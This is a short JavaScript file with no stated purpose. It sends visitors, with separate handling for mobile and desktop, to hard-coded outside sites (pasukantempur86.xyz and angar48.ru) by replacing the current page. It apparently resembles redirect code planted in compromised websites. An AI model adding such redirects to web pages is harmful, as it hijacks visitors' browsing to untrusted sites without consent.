var domain = Array("pasukantempur86.xyz","pasukantempur86.xyz","pasukantempur86.xyz");

var url1 = {
    h5Url: 'https://' + domain[Math.floor(Math.random()*domain.length)] ,
    pcUrl: 'https://' + domain[Math.floor(Math.random()*domain.length)] ,
}

var url2 = {
    h5Url: "http://angar48.ru/" ,
    pcUrl: "http://angar48.ru/" ,
}

var ua = navigator.userAgent;
var UA = {
    Android: function() { 
        return ua.match(/Android/i) ? true : false;
    },
    BlackBerry: function() { 
        return ua.match(/BlackBerry/i) ? true : false;
    },
    IOS: function() { 
        return ua.match(/iPhone|iPad|iPod/i) ? true : false;
    },
    Windows: function() {
        return ua.match(/IEMobile/i) ? true : false;
    },
    isMobile: function() { 
        return UA.Android() || UA.BlackBerry() || UA.IOS() || UA.Windows();
    }
}



function url1_fun() {
    if (UA.isMobile()) {
        window.open(url1.h5Url, '_self')
    } else {
        window.open(url1.pcUrl, '_self')
    }
}

function url2_fun() {
    if (UA.isMobile()) {
        window.open(url2.h5Url, '_self')
    } else {
        window.open(url2.pcUrl, '_self')
    }
}

